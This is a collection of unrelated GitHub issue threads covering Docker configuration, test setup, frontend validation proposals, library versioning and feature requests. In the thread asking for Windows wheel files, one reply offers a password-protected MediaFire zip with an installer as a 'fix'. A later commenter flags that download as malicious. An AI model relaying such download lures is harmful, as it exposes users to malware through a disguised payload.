Would you please try again with image shumc/imagor:0.2.2?

Is that the correct SHA: sha256:da967939d836662f415149bde120a467efee37f4d7608ca658846f52b145f30f

should be
shumc/imagor                                                   0.2.2                             sha256:44f804058ed5b445aec8057039b023f3b16551bae664b74f6333f25e46af98c5   da967939d836

Just to be sure, do you mean to store the files under the host directory /mnt/kuqfnl/rsl, and that directory exists?
/mnt/data and /mnt/data/rsl is the directory inside the docker
/mnt/kuqfnl is the directory mounted to the host

Here you go:
version: "3"
services:
  imagor:
    image: shumc/imagor:latest
    container_name: igr
    restart: unless-stopped
    volumes:
      - /mnt/kuqfnl:/mnt/data
    environment:
      PORT: 8000
      IMAGOR_UNSAFE: 1
      FILE_LOADER_BASE_DIR: /mnt/data
      FILE_STORAGE_BASE_DIR: /mnt/data/rsl
    ports:
      - "7123:8000"
    labels:
        - 'com.centurylinklabs.watchtower.enable=true'

I am managing the stacks ujsing Portainer.
So, here is what I did:

completely removed the previous Imagor stack
deleted all images relating to imagor
recreated a new stack
Still not working

As per your questions:

yes, the directory rsl exists in /mnt/kuqfnl/1_ini which is mounted on the host as /mnt/kuqfnl/
Here is a screenshot of the mounted folder in the host as /mnt/kuqfnl which is in turn mounted in the stack as /mnt/dsts:

I must admit the folder hierarchy is a bit confusing because 1_ini is mounted in the host with the same name as its parent, but considering the way docker works and the isolation of bound folders, that should be of no concern.

I tried with another browser and with another image (concerned that the browser cache could be a cause) and it dit not work either.

I noticed that the default user when accessing the console within the stack is nobody.
Don't you think that could explain a possible access right issue while trying to write into the destgination folder?

I tried to add UID=1000 and GID=1000 to the environment section of the docker-compose.yml file and it did not change the outcome > still not saving the file in /mnt/data/rsl

I also noticed, when applying the /params/ parameter that the URL to the image is in https: https://pho/tst/IMG_20180408_153807553_HDR.jpg
I do not allow self served certificates on the local server.

You killed two birds with one stone!


Issue using WebHostBuilder for integration tests

I see that you intend to add features for testing (#105) which is great but in the meantime I'm trying to build some integration tests but without much joy.
I posted a question on SO that details the issue
I tried replacing the application computation expression with a WebHostBuilder in the API project and it all worked perfectly. However if I try to do something similar in the test project I get an exception when trying to to add the router in the WebHostBuilder.configure method.
Any idea why that is and how I can fix it?
(Thanks for all your had work on Saturn. I've really enjoyed using it.)

I finally found the answer to my problem. Nothing to do with Saturn at all. The answer can be found at the linked SO question.


Add Push pytest mark to all push CI tests

Summary
For all tests that are currently run in the push pipeline, let's add the following pytest mark:
@pytest.mark.push

For more details, check this doc:

https://docs.pytest.org/en/stable/example/markers.html

Fixed https://github.com/tenstorrent/tt-forge-fe/pull/550


fibonacciNth function added

The fibonacci() function now returns array of the fibonacci sequence, with the function fibonacciNth() returning the value at nth-position in the fibonacci sequence.

Codecov Report

Merging #36 into master will not change coverage.
The diff coverage is 100%.

@@          Coverage Diff          @@
##           master    #36   +/-   ##
=====================================
  Coverage     100%   100%
=====================================
  Files          80     81    +1
  Lines        1689   1699   +10
  Branches      296    297    +1
=====================================
+ Hits         1689   1699   +10

Impacted Files
Coverage Δ

src/algorithms/math/fibonacci/fibonacciNth.js
100% <100%> (ø)

src/algorithms/math/fibonacci/fibonacci.js
100% <100%> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 62efb29...09cecdd. Read the comment docs.

@ohepworthbell thank you for cleaning the code up and for clean implementation of new function!


UIINREACH - 191 - components are incorrectly imported directly from stripes-* packages

Purpose
Issue : components are incorrectly imported directly from stripes-* packages
https://issues.folio.org/browse/UIINREACH-191

Please remove code smells.

@Dmytro-Melnyshyn
I have removed the code smells.
could you please review now?


Fix unusual client version

Our product version looks like: 1.0.10390.928 (rd_branch_n(abcd).160726-1648), which will make it fail with the following message. This fix will remove all the info after the first space. For more info about this issue, please see http://stackoverflow.com/questions/13198090/adding-httpclient-headers-generates-a-formatexception-with-some-values
System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---> System.FormatException: The format of value '1.0.10390.928 (rd_branch_n(abcd).160726-1648)' is invalid.
at System.Net.Http.Headers.HeaderUtilities.CheckValidToken(String value, String parameterName)
at System.Net.Http.Headers.ProductHeaderValue..ctor(String name, String version)
at Microsoft.Rest.ServiceClient`1.InitializeHttpClient(HttpClientHandler httpClientHandler, DelegatingHandler[] handlers)

Can one of the admins verify this patch?

Hi @leozhou-sh, I'm your friendly neighborhood Azure Pull Request Bot (You can call me AZPRBOT). Thanks for your contribution!

This seems like a small (but important) contribution, so no contribution license agreement is required at this point. Real humans will now evaluate your PR.

TTYL, AZPRBOT;

@azuresdkci test this please

@leozhou-sh You can fix this using a delegating handler, or by changign the HttpClient setting directly.

To use a delegating handler or changing HttpClient setting is no solution but just an ugly workaround.
The root-cause is that the code made a bad assumption that any file version is a good fit for user agent.
This assumption is WRONG! The file version can be anything, e.g. containing spaces.
The code disregards this, and is expecting user to work around it. It's ridiculous!
Line: 396: HttpClient.DefaultRequestHeaders.UserAgent.Add(new ProductInfoHeaderValue(productName, version));


Fake growl about changes being made in profile is displayed when saving a name that's over 50 characters long

If you haven’t already, check out our contributing guidelines for onboarding and email<EMAIL_ADDRESS>to request to join our Slack channel!

Action Performed:

Navigate to settings > Profile
Change the first or last name to something over 50 characters
Save the changes
Refresh the page

Expected Result:
User should be informed that there's a maximum of 50 characters in the first and last name inputs.
Actual Result:
There's a growl saying that the changes were "saved". After reload the name is back to previous name.
More info from @vitHoracek

The response of the API call is 666 so we should not handle it as success.

{"code":666,"jsonCode":666,"type":"Expensify\\Libs\\Error\\ExpError","UUID":"05f93e83-41a5-42a6-ad9c-471d43afae2e","message":"Last name shouldn't be longer than 50 characters","title":"","data":[],"htmlMessage":"","requestID":"2P7skf"}
Workaround:
Don't save a name over 50 characters (?)
Platform:

Where is this issue occurring?

Web
iOS
Android
Desktop App
Mobile Web

Version Number: 1.0.93-0
Logs: https://stackoverflow.com/c/expensify/questions/4856
Notes/Photos/Videos: Any additional supporting documentation
https://user-images.githubusercontent.com/44479856/132076454-ea43da97-ae6a-42ec-9139-e09bf6c321bd.mp4
Expensify/Expensify Issue URL:
View all open jobs on GitHub

From @vitHoracek https://expensify.slack.com/archives/C01GTK53T8Q/p1630687779397100

When you update your first OR last name with very long name, we present successful growl message and optimistically change the name on front end. After reload the name is back to previous name. Based on the API call response, the limit is 50 characters, but we do not handle the response correctly. Details in

Triggered auto assignment to @Beamanator (Engineering), see https://stackoverflow.com/c/expensify/questions/4319 for more details.

Here is my suggestion,
Within ProfilePage.js file we have to add firstname lastname max chars validation within updatePersonalDetails() function before line 170 (i.e. before setPersonalDetails call ). If firstname, lastname validation failed then we will show growl message and return.
https://github.com/Expensify/App/blob/6cd518e81fb60415ba8d4d4a659fdc5dfa95b6fd/src/pages/settings/Profile/ProfilePage.js#L160-L183
Code will look like as under after First name, last name validation added.
    updatePersonalDetails() {
        const {
            firstName,
            lastName,
            pronouns,
            selfSelectedPronouns,
            selectedTimezone,
            isAutomaticTimezone,
        } = this.state;

        // Below code added to validate firstname, lastname max. length.
        if (firstName.trim().length > 50) {
            Growl.show(this.props.translate('profilePage.maxCharsAllowFirstname', {maxValue: 50}), CONST.GROWL.SUCCESS, 3000);
            return;
        }
        if (lastName.trim().length > 50) {
            Growl.show(this.props.translate('profilePage.maxCharsAllowLastname', {maxValue: 50}), CONST.GROWL.SUCCESS, 3000);
            return;
        }

        setPersonalDetails({
            firstName: firstName.trim(),
            lastName: lastName.trim(),
            pronouns: pronouns === this.props.translate('pronouns.selfSelect')
                ? selfSelectedPronouns
                : pronouns,
            timezone: {
                automatic: isAutomaticTimezone,
                selected: selectedTimezone,
            },
        });

        Growl.show(this.props.translate('profilePage.growlMessageOnSave'), CONST.GROWL.SUCCESS, 3000);
    }

Also we have to add constants within src/languages/en.js file.
    profilePage: {
       ...,
        maxCharsAllowFirstname: ({maxValue}) => `Maximum ${maxValue} characters allowed in first name.`,
        maxCharsAllowLastname: ({maxValue}) => `Maximum ${maxValue} characters allowed in last name.`,
    },

Also We have to add constants  within src/languages/es.js  file.
    profilePage: {
       ...,
        maxCharsAllowFirstname: ({maxValue}) => `Máximo ${maxValue} caracteres permitidos en el nombre`,
        maxCharsAllowLastname: ({maxValue}) => `Máximo ${maxValue} caracteres permitidos en el apellido`,
    },

Please also suggest me proper grammar for English and Spanish if need any changes in message.
At present External label not set with this issue, so just giving suggestion. It might be helpful for someone if handled internally.
If this issue consider as External and my solution accepted then kindly invite me on Upwork project. Here is my Upwork profile: https://www.upwork.com/freelancers/~01c718889ed7821f82
Thank you.

Hi there, the above proposal looks great and working as expected. But just in case if we want a different solution. I'm adding mine.
Inside setPersonalDetails function, instead of optimistically updating the profile details, we can wait for the API completion and show success & error growl based on the jsonCode that we get from response.
It will look like this:
/**
 * Sets the personal details object for the current user
 *
 * @param {Object} details
 */
function setPersonalDetails(details) {
    API.PersonalDetails_Update({details: JSON.stringify(details)})
        .then((response) => {
            if (response.jsonCode === 200) {
                Growl.show(translateLocal('profilePage.growlMessageOnSave'), CONST.GROWL.SUCCESS, 3000);
            } else {
                Growl.error(response.message, 3000);
                return;
            }

            if (details.timezone) {
                NameValuePair.set(CONST.NVP.TIMEZONE, details.timezone);
            }
            mergeLocalPersonalDetails(details);
        }).catch((error) => {
            console.debug('Error while setting personal details', error);
        });
}

Then we can remove the additional success Growl on ProfilePage.js
Demo:
https://user-images.githubusercontent.com/83179295/132084447-868bc858-aceb-4506-bd5e-0c8bb053c06e.mp4

Hi @thesahindia , your solution also looks good, but some confusion from my side as under:

if (response.jsonCode === 200) {
     Growl.show(translateLocal('profilePage.growlMessageOnSave'), CONST.GROWL.SUCCESS, 3000);
} else {
    Growl.error(response.message, 3000);
     return;
 }

If api will not return response.message in localised language then in case of error it will show error message in english, I am not sure that server side api will return error in localised language or not. If api will return localised language message then it is ok.
Other major problem with changing setPersonalDetails() code within  src/libs/actions/PersonalDetails.js  is that setPersonalDetails function may be called from multiple places, so once the code changes it will show Growl success or error message either it need to show or not.
For example I can see that setPersonalDetails is called from updateTimezone() function within src/libs/DateUtils.js file, and also from src/libs/Navigation/AppNavigator/AuthScreens.js file within Onyx.connect() at line 65, also called from setAvatar() method within src/libs/actions/PersonalDetails.js file itself.
I think it is not good ides to change api logic within lib file src/libs/actions/PersonalDetails.js because it may result to regression and affect the behaviour of other places from where setPersonalDetails() function called.
Let expensify engineer to decide which one is better way to go. Also thanks for the suggestion.

Hi @PrashantMangukiya, Thank you for looking into the solution and giving remarks!
Both of the points are valid and I'll try to reply to them.

If api will not return response.message in localised language then in case of error it will show error message in english,

To show the translated version of the message, we can either use jsonCode or message of the response and based on that we can set correct message
An example where this is implemented:
https://github.com/Expensify/App/blob/6cd518e81fb60415ba8d4d4a659fdc5dfa95b6fd/src/libs/actions/BankAccounts.js#L794-L811

Other major problem with changing setPersonalDetails() code within src/libs/actions/PersonalDetails.js is that setPersonalDetails function may be called from multiple places, so once the code changes it will show Growl success or error message either it need to show or not.

I looked into this and found that this PR is already dealing with that (by setting a flag called shouldGrowl) so no regression might occur.
I hope all the questions are answered now.

Hi, @thesahindia I got it. Thanks for the message.

Triggered auto assignment to @stephanieelliott (External), see https://stackoverflow.com/c/expensify/questions/8582 for more details.

Sorry for the delay y'all, this looks like a nice external issue so I'm going to begin reviewing proposals 👍

Thanks for your proposals @thesahindia and @PrashantMangukiya !
I found this conversation in Slack which covers this situation. Since we have a unique error message that needs to be thrown only in this case, I will make a back-end change to throw this new jsonCode (I'll post here when I know what that code will be) so it can be handled on the front end.
@thesahindia I like your proposal best, so I'll assign this to you but I'm also going to put this issue on hold until the back-end work is done 👍

Thanks @Beamanator, I will wait for the back-end changes.

Internal PR in motion 👍

Quick update: Internal PR was merged, but the changes won't be visible in the production environment till probably tomorrow (Tuesday). Here's an overview of the changes:

The 'First name shouldn\'t be longer than 50 characters' error should now have a jsonCode of 400
The 'Last name shouldn\'t be longer than 50 characters' error should now have a jsonCode of 401

Just tested, the back end work is not live on production quite yet! Should be soon though.

Hi @thesahindia, I hate to delay this further but I've placed this issue on hold as per this update, as we are prioritising issues related to a feature release scheduled for 9/24. As an apology for the delay, we will add a $100 bonus as a thank you for waiting.

Change should be live on Production! @thesahindia feel free to work on a PR and submit when you have time, but as mentioned above we won't be merging this until the n6-hold is removed 👍

Still on hold for n6, hopefully will be taken off hold this or next week!

PR ready to merge, but won't merge till the n6 hold ends 👍  Nice work @thesahindia !

Thanks for the bump, @Beamanator! Just now created the job in Upwork, @thesahindia can you please post a quick proposal so we can get payment arranged once the PR is merged?
Here is the job: upwork.com/jobs/~01ab1db8fe7689f675

Simply put the maxLength ={50} prop in your text input. User will not able to put more than 50 characters. and don't need to put check like greater than or less than as it will effect on app performance.

@stephanieelliott, Submitted the proposal.

Adding Exported since we now have an Upwork post for this job :D

ok coming late to this issue but I think we should show a red error under the input when the input goes beyond 50 chars following other components of the App. If we know already the there is an issue with input data and we are still waiting for the backend to throw up, does not make sense. The user should know immediately that there is an issue.
@Beamanator

@Beamanator with that being the case, should we put this on hold until we figure out how we want to standardize? Or do we keep forging ahead to fix this in the interim?

@parasharrajat I updated my thoughts above - what do you say we keep the changes in https://github.com/Expensify/App/pull/5525 to show errors if the back-end fails, but I'm also working on a PR for front-end validation so we ideally will never have to see those errors coming from the back end, but they're handled just in case

hmmmm... I might have jumped the gun here. I'm auditing issues to catch up on payments. I see @thesahindia is assigned to this issue and hired in Upwork so I paid them.  Should they be paid for this issue?

Yes! his PR was merged so thanks for paying 👍


Add Versioning to this repo

Hello,
We are having hard time using this tool.
The mist recent updates just broke our project because of the changes you made to the uuid and time.Time types. Last working rev was  1f80f9b7376a92a5e10d7dcebefd4a5c7c6ce0e0.
Could you be so polite and tag that rev so we can get it with gopkg.in

bump

Yes, xo has almost finished a complete "end-to-end" rewrite. I haven't had time to quite finish it, but when it is done, it will be versioned properly, as well as have vendored dependencies added. I would like to say this will be done immediately, but it's based on when I am able to find enough free time to finish it up.

Thanks for the reply!
Good to know that this isn't forgotten and that will be coming some time soon :)

👍

Seems @kenshaw adding go modules support at
https://github.com/xo/xo/commit/d69d59ce52a9e2006eac2c042bca217a202aa003
According to https://github.com/golang/go/wiki/Modules you need to push a new tag to make it works with modules.
Your new module release becomes available to consumers once you push the new release tags.


Fix vsplit to not open empty buffer

Description of Changes
Closes #1097

New Version Info
Author's Instructions

[x] Derive a new MAJOR.MINOR.PATCH version number. Increment the:

MAJOR version when you make incompatible API changes
MINOR version when you add functionality in a backwards-compatible manner
PATCH version when you make backwards-compatible bug fixes

[x] Update CHANGELOG.md, following the established pattern.

Collaborator's Instructions

[x] Review CHANGELOG.md, suggesting a different version number if necessary.
[x] After merge, tag the merge commit, e.g. git tag -a 3.1.4 -m "v3.1.4" && git push origin --tags

@AwkwardKore , it looks good. Please add a new entry in CHANGELOG.md for this pull request. This will be version 6.7.3. Follow the established pattern.

@PhilRunninger Thanks! It was a pleasure to help 😃


network graph simplification

Ideas:

Group PITs by PIT name
Only show PITs with the most ingoing/outgoing edges at first, hide less important PITs
Make PITs clickable, expand/contract graph on user interaction


Address::from_script to return a Result

https://github.com/rust-bitcoin/rust-bitcoin/pull/1021#discussion_r884152633

Added another fail condition to be checked: https://github.com/rust-bitcoin/rust-bitcoin/pull/1021#issuecomment-1143312781

Added another fail condition to be checked: #1021 (comment)

@sanket1729 Is this check not already performed when script.is_witness_program() is called within Payload::from_script()?

@nlanson, you are correct! This is already being done. Sorry for the confusion. But as far as this issue is concerned, we should have a dedicated error type here.


WebAssembly plugin to monitor APIs directly within Istio

This work item is no longer needed, since the way to obtain Istio logs is through a open telemetry stream.


Abilities to prevent some symbols appeared in the completion list (or auto import)

Suggestion

🔍 Search Terms
completions, auto import

✅ Viability Checklist

My suggestion meets these guidelines:

[x] This wouldn't be a breaking change in existing TypeScript/JavaScript code
[x] This wouldn't change the runtime behavior of existing JavaScript code
[x] This could be implemented without emitting different JS based on the types of the expressions
[x] This isn't a runtime feature (e.g. library functionality, non-ECMAScript syntax with JavaScript output, new syntax sugar for JS, etc.)
[x] This feature would agree with the rest of TypeScript's Design Goals.

⭐ Suggestion
Add something （jsdoc? modifiers? etc.）to disallow a (or some) symbols be includes in the completion list。

📃 Motivating Example

//// a.ts

/*
* @hiden
*/
export const aaaaa = 1

//// b.ts

aa/*here*/

// The `aaaaa` who has been defined with hidden tag should not be included in the completion list

💻 Use Cases

//// generated.ts
export type Request = {
//...
}

// we do not want something like `Request` be included in completions (or auto import)
// because we may do some type level operation before use.

//// foo.d.ts

declare module "foo" {
  export * from "other-module"
}

// we do not want import from 'other-module', it's should from 'foo'.

Essentially a duplicate of #35395?


Simplify custom thread pool creation

Currently creating a new thread pool with a custom scheduling policy is easy:
rp.create_thread_pool("default", hpx::resource::scheduling_policy::local_priority_fifo)

but any other customization requires using the callback interface. For example to add a single scheduler mode flag:
rp.create_thread_pool("default",
    [](hpx::threads::policies::callback_notifier& notifier,
        std::size_t num_threads, std::size_t thread_offset,
        std::size_t pool_index, std::string const& pool_name)
    -> std::unique_ptr<hpx::threads::detail::thread_pool_base>
    {
        typename local_priority_queue_scheduler::init_parameter_type init(num_threads);
        std::unique_ptr<local_priority_queue_scheduler> scheduler(new local_priority_queue_scheduler(init));

        auto mode = hpx::threads::policies::scheduler_mode(
            hpx::threads::policies::do_background_work |
            hpx::threads::policies::reduce_thread_priority |
            hpx::threads::policies::delay_exit |
            hpx::threads::policies::enable_elasticity);

        std::unique_ptr<hpx::threads::detail::thread_pool_base> pool(
            new hpx::threads::detail::scheduled_thread_pool<local_priority_queue_scheduler>(
                std::move(scheduler), notifier, pool_index, pool_name, mode,
                thread_offset));

        return pool;
    });

While flexible, the callback interface is unnecessarily complicated for most use cases.

I would like to keep this issue alive. I will (slowly) work on it as part of my scheduler cleanup.


WHL files for torch-cublas-hgemm.git and ao?

Does anyone have WHL files for these to install on Windows?  I am having all sorts of problems trying to build WHLs myself and cannot get the pip installs of these 2 working.
pip install git+https://github.com/aredden/torch-cublas-hgemm.git@master
pip install git+https://github.com/pytorch/ao.git@main
Thanks.

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Thanks.  That zip contains these files

How do I use those to install the above 2 packages?

For anyone else, do not run that exe
https://www.virustotal.com/gui/file/081db758b854442bdfd28da76e67632d97e544f83334f38ca10854c2ef2810bb

Ah- no there aren't any WHL's, it's just this repo, sorry 😢


CORS if image URL has no file extension

Hey hey! <3 this plugin, but just stumbled-upon my 1st issue using it. My images are served via an AWS cloudfront CDN (so not from the same source as the webpage). I'm finding that if an image URL is something like https://...cloudfront.../image_file.png, all's well.
But if an image URL is something like https://...cloudfront.../image_file, I get a CORS error and the content doesn't load in the colorbox modal. I'm still trying to understand who is getting tripped up by this (might not be colorbox at all)...

Colorbox is failing to recognize that the address should be treated as an image, and defaults to trying making an ajax request for content.  There isn't an efficient way to Colorbox to determine the mime-type of the content being requested, so it uses a regex to look for known image file extensions instead.  The regex is customizable, but you can also explicitly tell Colorbox that the url should be treated as an image source using the photo property.
For example:
image
html snippet